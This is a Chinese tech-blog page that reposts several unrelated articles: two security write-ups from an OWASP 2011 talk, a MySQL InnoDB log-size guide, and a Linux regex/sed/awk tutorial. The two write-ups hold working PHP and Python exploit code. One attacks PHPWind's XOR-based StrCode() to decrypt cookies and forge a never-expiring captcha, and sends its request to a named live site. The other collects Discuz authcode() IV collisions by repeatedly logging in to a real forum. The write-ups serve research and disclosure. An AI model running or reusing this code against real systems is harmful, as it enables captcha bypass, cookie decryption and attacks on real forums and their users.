页面: 1 2 3 4 5 6 7 8 9 10 ...14 15 16 下一页

技术Tech分类

四月
4
2012

http://hi.baidu.com/aullik5/blog/item/c95b9b23a06d17eed7cae2ef.html

转自上方链接。

本文只是补充OWASP 2011上主题演讲的一些细节。想了解背景可以参考此PPT。

由于时间匆忙,且家里发生了一些事情,所以这些都是2个月前的一些研究结果。代码也写得很粗糙,但基本能用。

描述

在PHPWind 8.x 中(甚至包括一些老版本),strcode()函数是核心的加密函数,用于很多地方,比如cookie的加密。但strcode()函数只是简单的实现了XOR加密,由于缺乏HMAC和IV,使得strcode() 存在Reused Key Attack 与 Bit-flipping Attack。攻击者通过一定的方法能够解密任意密文,或者构造出任意明文的密文。

细节

解密任意密文

在common.php 中:

/**

* 加密、解密字符串

*

*@global string $db_hash

*@global array $pwServer

*@param $string 待处理字符串

*@param $action 操作,ENCODE|DECODE

*@return string

*/

function StrCode($string, $action =’ENCODE’) {

$action!= ‘ENCODE’ && $string = base64_decode($string);

$code= ”;

$key= substr(md5($GLOBALS['pwServer']['HTTP_USER_AGENT'] . $GLOBALS['db_hash']), 8,18);

$keyLen= strlen($key);

$strLen= strlen($string);

for($i = 0; $i < $strLen; $i++) {

$k= $i % $keyLen;

$code.= $string[$i] ^ $key[$k];

}

return($action != 'DECODE' ? base64_encode($code) : $code);

}

那么,以破解验证码为例。在phpwind中,验证码是在ck.php中按照如下方式生成的:

functiongetCode($type=null,$set=true) {

empty($type)&& $type = $this->gdcontent;

$code= ”;

switch($type) {

case3:

global$db_charset,$lang;

require_onceGetLang(‘ck’);

$step= strtoupper($db_charset) == ‘UTF-8′ ? 3 : 2;

$len = (strlen($lang['ck'])/$step) – 1;

for($i = 0; $i < $this->num; $i++) {

$code.= substr($lang['ck'],mt_rand(0,$len)*$step,$step);

}

$set&& $this->cookie($code);

if(strtoupper($db_charset) <> ‘UTF-8′) {

$code= $this->convert($code,’UTF-8′,$db_charset);

}

$code= explode(‘,’,wordwrap($code,3,’,',1));

break;

case2:

$list= ‘BCEFGHJKMPQRTVWXY2346789′;

$len = strlen($list) – 1;

for ($i = 0; $i < $this->num; $i++) {

$code.= $list[mt_rand(0,$len)];

}

$set&& $this->cookie($code);

break;

default:

$list= ’2346789′;

$this->gdtype== 3 && $list .= ’15′;

$len= strlen($list) – 1;

mt_srand((double)microtime() * 1000000);

for($i = 0; $i < $this->num; $i++) {

$code.= $list{mt_rand(0, $len)};

}

$set&& $this->cookie($code);

}

return$code;

}

同时验证码的字符集只有24个,因为有些字符容易让用户产生混淆,比如字母”l”与数字”1″:

$list= ‘BCEFGHJKMPQRTVWXY2346789′;

最终将生成的验证码与时间戳绑定后写入Cookie中:

加密前的结构如下:

根据Reused Key Attack的攻击方法,知道明文1、密文1、密文2后,可以通过XOR操作推导出明文2。在验证码的应用中,有两个因素比较关键,一个是时间戳,一个是验证码的值。

但实际上有很多地方可以暴露时间戳。比如下面的地方:

HTTP/1.1 200 OK

Server: nginx/0.7.65

Date: Mon, 05 Sep 2011 03:08:29 GMT

Content-Type: image/png

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.2.10

Set-Cookie: dd499_c_stamp=1315192109; expires=Tue, 04-Sep-2012 03:08:29 GMT;path=/

Set-Cookie: dd499_lastvisit=3522%091315192109%09%2Fck.php%3Fnowtime1315191874102;expires=Tue, 04-Sep-2012 03:08:29 GMT; path=/

Pragma: no-cache

Cache-control: no-cache

Set-Cookie: dd499_cknum=AQsFB1VdVlRSC28xUVYMBgUDUgEFClEGVANRBwQBAgJbBQNVCAABCgZWB1E;expires=Tue, 04-Sep-2012 03:08:29 GMT; path=/

获取了时间戳和已知的验证码1后,可以构造出服务端使用的明文;结合抓取到的这次密文,就可以推导出任意密文的明文了。

但明文中未直接包含验证码的值,而只是使用了验证码的MD5,因此要破解出验证码,需要采用MD5 rainbow table的方式来逆向推导MD5后的验证码值。因为phpwind采用的验证码位数不是很多,只有4位、5位或6位,因此实际上只需要计算 24^4 = 331776 或者 24^5 = 7962624 次即可(验证码从24个字符中产生)。

演示代码如下:

< ?php

$code1 = "QPG3W8";

$t = 1320392525;

$str1 = base64_decode("AQUFBVIJAwIKAzloVVFRAQAOBFcEBQUDCVQMBQlWBgxWBwIOBQFTUQUBAQc");

// cipher to crack

//加密方式: 时间戳."\t\t".md5(验证码.时间戳);

$str2 = base64_decode("AQUFBVIJAwIBDjloXAYEBwJRAwAADVgBCVRdUlUAAgcHBlABCQMBBgAIAwE");

echo "TimeStamp is: ".$t."\n";

for ($jmp = 0; $jmp<20; $jmp++){

$x = ($t-10+$jmp)."\t\t".md5($code1.($t-10+$jmp));

$guess = "";

for ($i=0;$i

$guess .= chr(ord($x[$i]) ^ ord($str1[$i]) ^ ord($str2[$i]) );

}

//echo $guess."\n";

if ( is_numeric(substr($guess,0,10)) && preg_match("/^[a-z0-9]*$/i", substr($guess,-32) ) ){

//if ($jmp == 10){

echo "\nGuess Result is: ".$guess."\n";

break;

}

}

// 遍历出checkcode

$counter = 0;

$startTime = time();

$cksets = 'BCEFGHJKMPQRTVWXY2346789';

function bruteforce_guess($p){

global $counter;

global $cksets;

for ($a=0;$a

$result = "";

$result[0] = $cksets[$a];

for($b=0;$b

$result[1] = $cksets[$b];

for($c=0;$c

$result[2] = $cksets[$c];

for($d=0;$d

$result[3] = $cksets[$d];

for($e=0;$e

$result[4] = $cksets[$e];

for($f=0;$f

$counter ++;

$result[5] = $cksets[$f];

$result = $result[0].$result[1].$result[2].$result[3].$result[4].$result[5];

if (md5($result.substr($p,0,10)) == substr($p,-32) ){

echo "CheckCode is: ".$result."\n";

return $result;

}

if ($counter % 300000 == 0){

echo ".";

}

}

}

}

}

}

}

return False;

}

function random_guess($p){

global $counter;

global $cksets;

for(;;){

$result = '';

$len = strlen($cksets) - 1;

$counter ++;

for ($i = 0; $i < strlen($code1); $i++) {

$result .= $cksets[mt_rand(0,$len)];

}

if (md5($result.substr($p,0,10)) == substr($p,-32) ){

echo "CheckCode is: ".$result."\n";

break;

}

if ($counter % 300000 == 0){

echo ".";

}

}

}

bruteforce_guess($guess); // 遍历所有可能性

//random_guess($guess); //随机生成方式遍历

echo "Counter is: ".$counter."\n";

echo "Spend Time: ".(time()-$startTime)." Seconds\n";

function hex($str){

$result = '';

for ($i=0;$i

$result .= "\\x".ord($str[$i]);

}

return $result;

}

?>

测试如下,要破解如下验证码:

攻击效果:

构造任意明文的密文

还是以验证码为例,构造一个永久有效的验证码。

在phpwind中,是通过以下过程验证一个验证码的:

1. Post参数 gdcode 的值为 valueA

2. 解密cookie cknum的值,获取到原文为 valueB

3. 通过safecheck()函数验证valueB的时间戳是否合法,以及valueB的 md5 是否与valueA的计算结果一致

Global.php:

/**

* 校验验证码

*

*@param string $code

*/

function GdConfirm($code,$bool = null) {

Cookie(‘cknum’,”, 0);

if(!$code || !SafeCheck(explode(“\t”, StrCode(GetCookie(‘cknum’),’DECODE’)), strtoupper($code), ‘cknum’, 1800)) {

if($bool){

returnfalse;

}else{

Showmsg(‘check_error’);

}

}

returntrue;

}

Common.php:

/**

* 检查cookie是否过期

*

*@global int $timestamp

*@param array $cookieData cookie数据

*@param string $pwdCode 用户私有信息

*@param string $cookieName cookie名

*@param int $expire 过期秒数

*@param bool $clearCookie 验证错误是否清除cookie

*@param bool $refreshCookie 是否刷新cookie

*@return bool

*/

function SafeCheck($cookieData, $pwdCode,$cookieName = ‘AdminUser’, $expire = 1800,$clearCookie = true ,$refreshCookie =true) {

global$timestamp;

if($timestamp- $cookieData[0] > $expire) {

Cookie($cookieName,”, 0);

returnfalse;

}elseif ($cookieData[2] != md5($pwdCode . $cookieData[0])) {

$clearCookie&& Cookie($cookieName, ”, 0);

returnfalse;

}

if($refreshCookie) {

$cookieData[0]= $timestamp;

$cookieData[2]= md5($pwdCode . $cookieData[0]);

Cookie($cookieName,StrCode(implode(“\t”, $cookieData)));

}

returntrue;

}

注意到验证码的失效时间是服务端时间的1800秒之后。攻击者可以通过构造一个超级大的时间使得判断条件永远成立。

$timestamp– $cookieData[0] < 0

演示代码如下:

import string

import urllib2

import urllib

#from urlparse import urlparse

import httplib

import base64

import md5

plaintext1 = “1320392525″+”\t\t”+md5.new(“QPG3W8″+”1320392525″).hexdigest()

ciphertext1 = base64.b64decode(“AQUFBVIJAwIKAzloVVFRAQAOBFcEBQUDCVQMBQlWBgxWBwIOBQFTUQUBAQc=”)

bigtime = “2000000000″

plaintext2 = bigtime+”\t\t”+md5.new(“2MY8W3″+bigtime).hexdigest()

ciphertext2 = ”

for i in range(0,len(plaintext1)):

ciphertext2 += chr(ord(plaintext1[i]) ^ ord(ciphertext1[i]) ^ ord(plaintext2[i]))

cookie = base64.b64encode(ciphertext2)

url = “http://www.mtkjm.cn/register.php?verify=7f3e5fe4″

data = {‘action’:'regcheck’,'gdcode’:’2MY8W3′,’type’:'reggdcode’}

data = urllib.urlencode(data)

headers = {‘User-Agent’:'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20′,

‘Cookie’:'be2f1_cknum=’+cookie}

req = urllib2.Request(url,data,headers)

f = urllib2.urlopen(req)

print f.read()

测试效果:

(返回值为0说明验证通过,返回值为1是验证不通过)

四月
4
2012

Discuz! authcode() 弱IV缺陷

1
作者:AirForce

http://hi.baidu.com/aullik5/blog/item/0dee35d020d798259a502744.html

写的很好。转自上方

与上一篇一样,此文是2011 OWASP主题演讲的补充。本文中也会发布在演讲中提到的演示代码。如果读者对密码学不是很熟悉,请先阅读之前的两篇blog文章。

Discuz!的authcode()函数是一个经典的流密码算法实现,discuz和ucenter的很多产品都使用此函数进行加解密。我从网上找了一份算法分析,并自己补充了一些注释,如下(觉得枯燥的朋友也可以跳过此部分,不影响阅读):

======================================================================

// $string: 明文 或 密文

// $operation:DECODE表示解密,其它表示加密

// $key: 密匙

// $expiry:密文有效期

//字符串解密加密

function authcode($string, $operation = ‘DECODE’, $key = ”, $expiry = 0) {

// 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙 (初始化向量IV)

$ckey_length = 4; // 随机密钥长度 取值 0-32;

// 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。(实际上就是iv)

// 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方

// 当此值为 0 时,则不产生随机密钥

// 密匙

$key = md5($key ? $key : UC_KEY);

// 密匙a会参与加解密

$keya = md5(substr($key, 0, 16));

// 密匙b会用来做数据完整性验证

$keyb = md5(substr($key, 16, 16));

// 密匙c用于变化生成的密文 (初始化向量IV)

$keyc = $ckey_length ? ($operation == ‘DECODE’ ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ”;

// 参与运算的密匙

$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);

// 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性

// 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确

$string = $operation == ‘DECODE’ ? base64_decode(substr($string, $ckey_length)) : sprintf(‘%010d’, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);

$result = ”;

$box = range(0, 255);

$rndkey = array();

// 产生密匙簿

for($i = 0; $i < = 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}

// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

// 核心加解密部分

for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

// 从密匙簿得出密匙进行异或,再转成字符

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

if($operation == 'DECODE') {

// 验证数据有效性,请看未加密明文的格式

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return ”;

}

} else {

// 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因

// 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码

return $keyc.str_replace(‘=’, ”, base64_encode($result));

}

}

======================================================================

在这个函数中,keyc 就是IV(初始化向量), ckey_length 就是IV的长度。$ckey_length = 0时,没有IV。

IV的意义就是为了一次一密,它影响到真正每次用于加密的XOR KEY。

而“Reused Key Attack”的前提就是要求XOR KEY是相同的。但discuz默认使用的IV长度是4,这并不是一个很大的值,因此可以遍历出所有的IV可能值。一旦IV出现重复,就意味着XOR KEY也重复了,因此可以实施“Reused Key Attack”。

如下演示代码:

< ?php

define('UC_KEY','asdfasfas');

$plaintext1 = "2626";

$plaintext2 = "2630";

$guess_result = "";

$time_start = time();

$dict = array();

global $ckey_length;

$ckey_length = 4;

echo "== Discuz/UCenter authcode() stream cipher attack exploit v2(crack plaintext)\n";

echo "== 0day by axis ==\n";

echo "== 2011.9.2 ==\n\n";

echo "Collecting Dictionary(XOR Keys).\n";

$cipher2 = authcode($plaintext2, "ENCODE" , UC_KEY);

$counter = 0;

for (;;){

$counter ++;

$cipher1 = authcode($plaintext1, "ENCODE" , UC_KEY);

$keyc1 = substr($cipher1, 0, $ckey_length);

$cipher1 = base64_decode(substr($cipher1, $ckey_length));

$dict[$keyc1] = $cipher1;

if ( $counter%1000 == 0){

echo ".";

if ($guess_result = guess($dict, $cipher2)){

break;

}

}

}

array_unique($dict);

echo "\nDictionary Collecting Finished..\n";

echo "Collected ".count($dict)." XOR Keys\n";

function guess($dict, $cipher2){

global $plaintext1,$ckey_length;

$keyc2 = substr($cipher2, 0, $ckey_length);

$cipher2 = base64_decode(substr($cipher2, $ckey_length));

for ($i=0; $i

if (array_key_exists($keyc2, $dict)){

echo "\nFound key in dictionary!\n";

echo "keyc is: ".$keyc2."\n";

return crack($plaintext1,$dict[$keyc2],$cipher2);

break;

}

}

return False;

}

echo "\ncounter is:".$counter."\n";

$time_spend = time() - $time_start;

echo "crack time is: ".$time_spend." seconds \n";

echo "crack result is :".$guess_result."\n";

function crack($plain, $cipher_p, $cipher_t){

$target = '';

$tmp_p = substr($cipher_p, 26);

echo hex($tmp_p)."\n";

$tmp_t = substr($cipher_t, 26);

echo hex($tmp_t)."\n";

for ($i=0;$i

$target .= chr(ord($plain[$i]) ^ ord($tmp_p[$i]) ^ ord($tmp_t[$i]));

}

return $target;

}

function hex($str){

$result = '';

for ($i=0;$i

$result .= "\\".ord($str[$i]);

}

return $result;

}

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

global $ckey_length;

//$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);

$result = '';

$box = range(0, 255);

$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

//$xx = ''; // real key

for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

//$xx .= chr($box[($box[$a] + $box[$j]) % 256]);

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

//echo "xor key is: ".hex($xx)."\n";

if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return ”;

}

} else {

return $keyc.str_replace(‘=’, ”, base64_encode($result));

}

}

?>

测试效果:

在实际互联网中,要强迫出现重复的IV也不是什么难事。IV不是保密信息,密文的前4字节就是IV的值。

以下演示代码,将从一个网站中遍历出重复的IV。

每次请求抓取到的密文和IV,会存放在本地数据库中。通过另一个程序周期性的查询数据库,看是否出现了重复的IV。根据birthday attack的原理,启动了两个抓取进程(注册了两个网站用户,以便产生出不同的明文用于加密),分别将取回的密文存在两张表里。两个抓取程序的代码是一样的。由于时间关系,没有再次优化这个POC了。

grab_cipher1.py:

======================================================================

import string

import urllib2

import urllib

#from urlparse import urlparse

import httplib

import Cookie

import sqlite3

import base64

import operator

#url = “http://photo003.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1″

#req = urllib2.Request(url,data,headers)

#f = urllib2.urlopen(req)

# Step1 get cipher1 of plaintext1 to generate dictionary

dbcon = sqlite3.connect(‘./authcode.db’)

c = dbcon.cursor()

# 如果是第一次执行,需要创建表,之后则不再需要

#c.execute(‘CREATE TABLE photo003_2626(id INTEGER PRIMARY KEY, iv VARCHAR(32), cipher TEXT)’)

dbcon.text_factory = str

for i in range(0,10000):

headers = {‘User-Agent’:'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20′,

‘Content-Type’:'application/x-www-form-urlencoded’,

‘Referer’:'http://photo003.com/’,

‘Cookie’:’79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblLl; 79uz_d57e_lastact=1315293401%09home.php%09misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779′}

data = {‘username’:'请替换username’,'password’:'请替换pass’,'quickforward’:'yes’,'handlekey’:'ls’}

data = urllib.urlencode(data)

conn = httplib.HTTPConnection(“photo003.com”)

conn.request(‘POST’,

‘/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1′,

data,

headers)

res = conn.getresponse()

if res:

cookies = Cookie.SimpleCookie()

cookies.load(res.getheader(“Set-Cookie”))

authcookie = urllib.unquote(cookies["79uz_d57e_auth"].value)

iv = authcookie[0:4]

cipher = base64.b64decode(authcookie[4:])

c.execute(‘INSERT INTO photo003_2626(iv, cipher) VALUES (?, ?)’,(iv, cipher))

dbcon.commit()

print str(i) + ‘ ‘ + iv

======================================================================

grab_cipher2.py:

======================================================================

import string

import urllib2

import urllib

#from urlparse import urlparse

import httplib

import Cookie

import sqlite3

import base64

import operator

#url = “http://photo003.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1″

#req = urllib2.Request(url,data,headers)

#f = urllib2.urlopen(req)

# Step1 get cipher1 of plaintext1 to generate dictionary

dbcon = sqlite3.connect(‘./authcode.db’)

c = dbcon.cursor()

#c.execute(‘CREATE TABLE photo003_2630(id INTEGER PRIMARY KEY, iv VARCHAR(32), cipher TEXT)’)

dbcon.text_factory = str

for i in range(0,10000):

headers = {‘User-Agent’:'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20′,

‘Content-Type’:'application/x-www-form-urlencoded’,

‘Referer’:'http://photo003.com/’,

‘Cookie’:’79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblLl; 79uz_d57e_lastact=1315293401%09home.php%09misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779′}

data = {‘username’:'请替换username2′,’password’:'请替换pass2′,’quickforward’:'yes’,'handlekey’:'ls’}

data = urllib.urlencode(data)

conn = httplib.HTTPConnection(“photo003.com”)

conn.request(‘POST’,

‘/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1′,

data,

headers)

res = conn.getresponse()

if res:

cookies = Cookie.SimpleCookie()

cookies.load(res.getheader(“Set-Cookie”))

authcookie = urllib.unquote(cookies["79uz_d57e_auth"].value)

iv = authcookie[0:4]

cipher = base64.b64decode(authcookie[4:])

c.execute(‘INSERT INTO photo003_2630(iv, cipher) VALUES (?, ?)’,(iv, cipher))

dbcon.commit()

print str(i) + ‘ ‘ + iv

======================================================================

crack_discuz_authcode.py:

======================================================================

import string

import urllib2

import urllib

#from urlparse import urlparse

import httplib

import Cookie

import sqlite3

import base64

import operator

import md5

import random

def crack(plain1, cipher1, cipher2):

plain2 = ”

for i in range(0,len(plain1)):

ch = operator.xor(ord(plain1[i]), ord(cipher1[i]))

plain2 += chr(operator.xor(ch, ord(cipher2[i])))

return plain2

def bytecode(st):

s = ”

for c in st:

s = s + str(ord(c)) + ‘,’

return s

def list_iv_collision():

dbcon = sqlite3.connect(‘./authcode.db’)

c = dbcon.cursor()

dbcon.text_factory = str

c.execute(‘select * from photo003_2626′)

r1 = c.fetchall()

c.execute(‘select * from photo003_2630′)

r2 = c.fetchall()

if r1 and r2:

for c1 in r1:

for c2 in r2:

if c1[1] == c2[1]:

print c1[1] + ‘ ‘ + c2[1]

c.close()

dbcon = sqlite3.connect(‘./authcode.db’)

c = dbcon.cursor()

dbcon.text_factory = str

list_iv_collision()

###################################

# 下面的代码尝试破解salt,此功能尚未完成

###################################

iv = “dee5″

pwd = “password”

c.execute(‘select * from photo003_2626 where iv=?’, (iv,))

r1 = c.fetchone()

c.execute(‘select * from photo003_2630 where iv=?’, (iv,))

r2 = c.fetchone()

if r1 and r2:

for x in range(0,99999999):

csets = “abcdefghijklmnopqrstuvwxyz0123456789″

salt = ”

for i in range(0,6):

salt += random.choice(csets)

plain1 = md5.new(md5.new(pwd).hexdigest() + salt).hexdigest() + ‘\t’ + ’2626′

#print salt

#print plain1

plain2 = crack(plain1, r1[2][26:], r2[2][26:] )

#print plain2

if plain1[0:32] == plain2[0:32]:

print salt

print ‘counter is:’ + str(x)

break

if x%100000 == 0:

print str(x) + ‘ ‘ + salt

c.close()

======================================================================

测试效果:

在十几分钟内就能收集到很多重复的IV。

通过这样的方法还能够破解salt,但由于时间关系,我没有继续完成此段代码了,有兴趣的读者可以继续研究下去。

authcode()函数由于有HMAC的存在因此无法伪造出任意明文的密文。这是因为HMAC的生成与服务端密钥有关,在未知密钥的情况下,是无法构造出合法的HMAC的。

最后,我想说的是,这些攻击最后能产生什么样的后果,是要看应用使用该加密算法做了什么事情。在phpwind中,我找到了验证码的一个缺陷。但由于时间关系,我并未去寻找更多有利用价值的地方。

这些攻击都是在“不知道密钥”的情况下实施的攻击。而渗透的过程是复杂的,有时候通过注入、文件包含等方式能够获取到密钥,就可能会衍生出另外一些风险。比如知道密钥后,可以构造出合法的时间戳和HMAC,从而完成bit-flipping攻击,使得一个本来失效的cookie再次有效(假设autchode不再认为0000000000的时间是合法的)。这些都需要发挥安全研究者的想象力。

四月
4
2012

Peter wrote a post a while ago about choosing a good InnoDB log file size. Not to pick on Peter, but the post actually kind of talks about a lot of things and then doesn’t tell you how to choose a good log file size! So I thought I’d clarify it a little.
The basic point is that your log file needs to be big enough to let InnoDB optimize its I/O, but not so big that recovery takes a long time. That much Peter covered really well. But how do you choose that size? I’ll show you a rule of thumb that works pretty well.
In most cases, when people give you a formula for choosing a configuration setting, you should look at it with skepticism. But in this case you can calculate a reasonable value, believe it or not. Run these queries at your server’s peak usage time:
mysql> pager grep sequence
PAGER set to ‘grep sequence’
mysql> show engine innodb status\G select sleep(60); show engine innodb status\G
Log sequence number 84 3836410803
1 row in set (0.06 sec)

1 row in set (1 min 0.00 sec)

Log sequence number 84 3838334638
1 row in set (0.05 sec)
Notice the log sequence number. That’s the total number of bytes written to the transaction log. So, now you can see how many MB have been written to the log in one minute. (The technique I showed here works on all versions of MySQL. In 5.0 and newer, you can just watch Innodb_os_log_written from SHOW GLOBAL STATUS, too.)
mysql> select (3838334638 – 3836410803) / 1024 / 1024 as MB_per_min;
+————+
| MB_per_min |
+————+
| 1.83471203 |
+————+
As a rough rule of thumb, you can make the log big enough that it can hold at most an hour or so of logs. That’s generally plenty of data for InnoDB to work with; an hour’s worth is more than enough so that it can reorder the writes to use sequential I/O during the flushing and checkpointing process. At this rate, this server could use about 110 MB of logs, total. Round it up to 128 for good measure. Since there are two log files by default, divide that in half, and now you can set
innodb_log_file_size=64M
Does that look surprisingly small? It might. I commonly see log file sizes in the gigabyte ranges. But that’s generally a mistake. The server I used for the measurements above is a big one doing a lot of work, not a toy. Log file sizes can’t be left at the default 5MB for any real workload, but they often don’t need to be as big as you might think, either.
If this rule-of-thumb calculation ends up showing you that your log file size ought to be many gigabytes, well, you have a more active write workload. Perhaps you’re inserting a lot of big rows or something. In this case you might want to make the log smaller so you don’t end up with GB of logs. But also realize this: the recovery time depends not only on the total log file size, but the number of entries in it. If you’re writing huge entries to the log, fewer log entries will fit into a given log file size, which will generally make recovery faster than you might expect with a big log.
However, most of the time when I run this calculation, I end up finding that the log file size needs to be a lot smaller than it’s configured to be. In part that’s because InnoDB’s log entries are very compact. The other reason is that the common advice to size the logs as a fraction of the buffer pool size is just wrong.
One final note: huge buffer pools or really unusual workloads may require bigger (or smaller!) log sizes. This is where formulas break down and judgment and experience are needed. But this “rule of thumb” is generally a good sane place to start.

http://www.mysqlperformanceblog.com/

标签
四月
4
2012

每次学新的一门编程语言,或者学习什么工具之类的时候,总是会有一章的内容在介绍正则表达式。
所以正则的基础就不详细介绍了(表示字符范围的转义通配符,闭包及正闭包区间,分组模式等等),只是介绍一些正则在linux下的特殊扩展形式吧。
还有就是接受正则形式的模式串的各种工具,比如linux下的两把牛刀:sed 和 awk。
1 语系对正则表达式的影响
在linux下执行正则表达式,要考虑语系环境所带来的影响,LANG=C和LANG=zh_CN.gb2312时,[a-z]所选取的范围是不同的。
LANG=C,使用ascii编码,a-z表示的就是a-z,字母排列方式是A,B,C,D……Z 然后a,b,c,d……z
LANG=zh_CN.gb2312,使用的是gb2312语系,排列方式为: a,A,b,B,c,C……z,Z
2 正则的基本语法
在linux的常用工具如grep,sed,awk中,基础的正则表达式并没有正闭包+(可以用cc*来等价c+),另外也没有d,w,s等转义符,拥有的正则表达式字符为:
^ 匹配行首
$ 行尾
. 任意字符
转义字符,如查找单引号开头的行 grep ^’
* 闭包区间
[] 字符集合
[c1-c2] 字符区间 (和语系变量LANG有关)
[^] 字符集合之外
{n,m} 限定匹配次数范围
3 正则扩展语法
在linux的常用工具中,也提供了一些扩展的正则语法,如grep在执行时加上-E参数,,即可支持这些扩展语法:
+ 正闭包,c+等价cc*
? 0或1次匹配,等价{0,1}
| 或运算符,,(注意优先级低于连续和括号)
() 组运算符,用于为或运算符|提供连续的 字符组,优先级高于连续
4 特殊符号
前面说语系对字符范围[]是有影响的,所以为了避免影响,linux下为正则表达式制订了一些特殊符号,可以表示字符范围,如下:
[:alnum:] 0-9 A-Z a-z 同w
[:alpha:] A-Z a-z
[:blank:] 空格和tab
[:cntrl:] 代表控制按键,入CR LF tab del等
[:digit:] 0-9
[:graph:] 空格和tab之外
[:lower:] a-z
[:upper:] A-Z
[:space:] 任何会产生空白的字符 空格 tab CR
重要的记住[:alnum:] [:alpha:] [:upper:] [:lower:] [:digit:]即可。
5 grep命令
grep可以搜索标准输入或文件中符合条件的行:
?
1
grep -A -B -n -E ‘search-pattern’ filename
-A表示匹配的行之后的几行
-B表示皮的的行之前的几行
-n表示显示行号
-E表示可以使用扩展正则表达式符号
6 sed
sed可以将标准输入的数据按行进行替换,删除,新增,选取等功能。
常用的option有:
-r 支持扩展正则语法
-E 支持扩展正则语法(mac下的tty)
-n 安静模式
-f 读取一个文件作为脚本
-e 进入环境模式
-i 直接修改文件内容,危险操作
另外sed的动作有:
d 删除 ’2d’ ’2,5d’ ’2,$d’
a 添加 ’2a hello world’
p 打印 ’2,5p’ ’2,$p’ 注意加-n 进入安静模式,只打印选取的部分
c 替换 ’2,5c hello’
s 部分数据的查找和替换 ‘s/aa/bb/g’ 可以加-n开启扩展正则模式
在cut -d ‘ ‘ -fn之前,我一般都会sed ‘s/ */ /g’把多个空格都替换为一个空格,然后再cut。
?
1
2
ll | sed ‘s/ */ /g’ | cut -d ‘ ‘ -f9 #用空格cut前先用sed把多个空格转为一个
ll | awk ‘{print }’ #学会awk就简单了,因为FS包含了单空格,多空格和tab,让分列更加智能
6 awk
sed是以行为单位进行操作,增删查改,而awk的操作粒度则是列。
awk是逐行处理数据的,NR表示当前处理的行,NF表示field的总数,FS则表示列分隔符号。
如:
?
1
2
last|awk NR13

当然sed和awk还有许多东东可以继续深入学习,,但是日常工作掌握这些就差不多了,其他的就在工作中学习吧!

点这里查看原文: http://lichaosoft.net/?p=519

标签
四月
3
2012

Jabox ALM

Copyright © 2009-, Dimitris Kapanidis. Licensed under GPL License.

About

